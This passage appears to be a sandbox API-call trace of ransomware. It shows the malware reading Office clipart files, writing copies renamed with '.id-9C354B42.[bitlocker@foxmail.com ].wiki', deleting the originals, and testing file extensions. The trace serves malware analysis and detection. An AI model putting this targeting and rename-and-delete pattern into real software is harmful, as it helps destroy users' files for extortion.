nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.584] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.584] SetEndOfFile (hFile=0x200) returned 1 [0199.584] CloseHandle (hObject=0x200) returned 1 [0199.584] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.584] SetEndOfFile (hFile=0x1f0) returned 1 [0199.585] CloseHandle (hObject=0x1f0) returned 1 [0199.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf")) returned 1 [0199.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.585] lstrlenW (lpString=".doc") returned 4 [0199.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.585] lstrlenW (lpString=".docx") returned 5 [0199.585] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.585] lstrlenW (lpString=".pdf") returned 4 [0199.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.585] lstrlenW (lpString=".xls") returned 4 [0199.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.586] lstrlenW (lpString=".xlsx") returned 5 [0199.586] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.586] lstrlenW (lpString=".ppt") returned 4 [0199.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.586] lstrlenW (lpString=".zip") returned 4 [0199.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.586] lstrlenW (lpString=".rar") returned 4 [0199.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.586] lstrlenW (lpString=".bz2") returned 4 [0199.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.586] lstrlenW (lpString=".7z") returned 3 [0199.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.586] lstrlenW (lpString=".dbf") returned 4 [0199.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.586] lstrlenW (lpString=".1cd") returned 4 [0199.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.586] lstrlenW (lpString=".jpg") returned 4 [0199.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.586] lstrlenW (lpString=".doc") returned 4 [0199.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.586] lstrlenW (lpString=".docx") returned 5 [0199.586] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.586] lstrlenW (lpString=".pdf") returned 4 [0199.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.587] lstrlenW (lpString=".xls") returned 4 [0199.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.587] lstrlenW (lpString=".xlsx") returned 5 [0199.587] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.587] lstrlenW (lpString=".ppt") returned 4 [0199.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.587] lstrlenW (lpString=".zip") returned 4 [0199.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.587] lstrlenW (lpString=".rar") returned 4 [0199.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.587] lstrlenW (lpString=".bz2") returned 4 [0199.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.587] lstrlenW (lpString=".7z") returned 3 [0199.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.587] lstrlenW (lpString=".dbf") returned 4 [0199.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.587] lstrlenW (lpString=".1cd") returned 4 [0199.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF") returned 63 [0199.587] lstrlenW (lpString=".jpg") returned 4 [0199.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.587] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.587] lstrlenW (lpString="J0186346.WMF") returned 12 [0199.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.588] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=8666) returned 1 [0199.588] CloseHandle (hObject=0x1f0) returned 1 [0199.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf")) returned 0x20 [0199.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.588] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.588] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0199.589] GetLastError () returned 0x0 [0199.589] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x21da, lpOverlapped=0x0) returned 1 [0199.591] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x21e0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x21e0, lpOverlapped=0x0) returned 1 [0199.592] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.592] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.592] SetEndOfFile (hFile=0x200) returned 1 [0199.592] CloseHandle (hObject=0x200) returned 1 [0199.592] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.593] SetEndOfFile (hFile=0x1f0) returned 1 [0199.593] CloseHandle (hObject=0x1f0) returned 1 [0199.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186346.wmf")) returned 1 [0199.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.785] lstrlenW (lpString=".doc") returned 4 [0199.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.785] lstrlenW (lpString=".docx") returned 5 [0199.785] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.785] lstrlenW (lpString=".pdf") returned 4 [0199.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.785] lstrlenW (lpString=".xls") returned 4 [0199.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.785] lstrlenW (lpString=".xlsx") returned 5 [0199.785] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.785] lstrlenW (lpString=".ppt") returned 4 [0199.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.786] lstrlenW (lpString=".zip") returned 4 [0199.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.786] lstrlenW (lpString=".rar") returned 4 [0199.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.786] lstrlenW (lpString=".bz2") returned 4 [0199.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.786] lstrlenW (lpString=".7z") returned 3 [0199.786] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.786] lstrlenW (lpString=".dbf") returned 4 [0199.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.786] lstrlenW (lpString=".1cd") returned 4 [0199.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.786] lstrlenW (lpString=".jpg") returned 4 [0199.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.786] lstrlenW (lpString=".doc") returned 4 [0199.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.786] lstrlenW (lpString=".docx") returned 5 [0199.786] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0199.786] lstrlenW (lpString=".pdf") returned 4 [0199.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.786] lstrlenW (lpString=".xls") returned 4 [0199.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.786] lstrlenW (lpString=".xlsx") returned 5 [0199.786] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0199.787] lstrlenW (lpString=".ppt") returned 4 [0199.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.787] lstrlenW (lpString=".zip") returned 4 [0199.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.787] lstrlenW (lpString=".rar") returned 4 [0199.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.787] lstrlenW (lpString=".bz2") returned 4 [0199.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.787] lstrlenW (lpString=".7z") returned 3 [0199.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.787] lstrlenW (lpString=".dbf") returned 4 [0199.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.787] lstrlenW (lpString=".1cd") returned 4 [0199.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186346.WMF") returned 63 [0199.787] lstrlenW (lpString=".jpg") returned 4 [0199.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.787] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.787] lstrlenW (lpString="J0187839.WMF") returned 12 [0199.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.788] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=5372) returned 1 [0199.788] CloseHandle (hObject=0x1f0) returned 1 [0199.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf")) returned 0x20 [0199.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.788] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.788] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.789] GetLastError () returned 0x0 [0199.789] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x14fc, lpOverlapped=0x0) returned 1 [0199.791] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1500, lpOverlapped=0x0) returned 1 [0199.792] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.792] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.792] SetEndOfFile (hFile=0x1c8) returned 1 [0199.792] CloseHandle (hObject=0x1c8) returned 1 [0199.792] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.792] SetEndOfFile (hFile=0x1f0) returned 1 [0199.793] CloseHandle (hObject=0x1f0) returned 1 [0199.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf")) returned 1 [0199.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.794] lstrlenW (lpString=".doc") returned 4 [0199.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.794] lstrlenW (lpString=".docx") returned 5 [0199.794] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.794] lstrlenW (lpString=".pdf") returned 4 [0199.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.794] lstrlenW (lpString=".xls") returned 4 [0199.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.794] lstrlenW (lpString=".xlsx") returned 5 [0199.794] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.794] lstrlenW (lpString=".ppt") returned 4 [0199.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.794] lstrlenW (lpString=".zip") returned 4 [0199.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.794] lstrlenW (lpString=".rar") returned 4 [0199.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.794] lstrlenW (lpString=".bz2") returned 4 [0199.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.794] lstrlenW (lpString=".7z") returned 3 [0199.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.795] lstrlenW (lpString=".dbf") returned 4 [0199.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.795] lstrlenW (lpString=".1cd") returned 4 [0199.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.795] lstrlenW (lpString=".jpg") returned 4 [0199.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.795] lstrlenW (lpString=".doc") returned 4 [0199.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.795] lstrlenW (lpString=".docx") returned 5 [0199.795] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0199.795] lstrlenW (lpString=".pdf") returned 4 [0199.795] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.795] lstrlenW (lpString=".xls") returned 4 [0199.795] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.795] lstrlenW (lpString=".xlsx") returned 5 [0199.795] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0199.795] lstrlenW (lpString=".ppt") returned 4 [0199.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.795] lstrlenW (lpString=".zip") returned 4 [0199.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.795] lstrlenW (lpString=".rar") returned 4 [0199.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.795] lstrlenW (lpString=".bz2") returned 4 [0199.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.796] lstrlenW (lpString=".7z") returned 3 [0199.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.796] lstrlenW (lpString=".dbf") returned 4 [0199.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.796] lstrlenW (lpString=".1cd") returned 4 [0199.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF") returned 63 [0199.796] lstrlenW (lpString=".jpg") returned 4 [0199.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.796] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0199.796] lstrlenW (lpString="J0187847.WMF") returned 12 [0199.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.797] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=7116) returned 1 [0199.797] CloseHandle (hObject=0x1f0) returned 1 [0199.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf")) returned 0x20 [0199.797] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.797] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.797] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.798] GetLastError () returned 0x0 [0199.798] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1bcc, lpOverlapped=0x0) returned 1 [0199.799] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1bd0, lpOverlapped=0x0) returned 1 [0199.800] ReadFile (in: hFile=0x1f0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.800] WriteFile (in: hFile=0x1c8, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.800] SetEndOfFile (hFile=0x1c8) returned 1 [0199.800] CloseHandle (hObject=0x1c8) returned 1 [0199.800] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.800] SetEndOfFile (hFile=0x1f0) returned 1 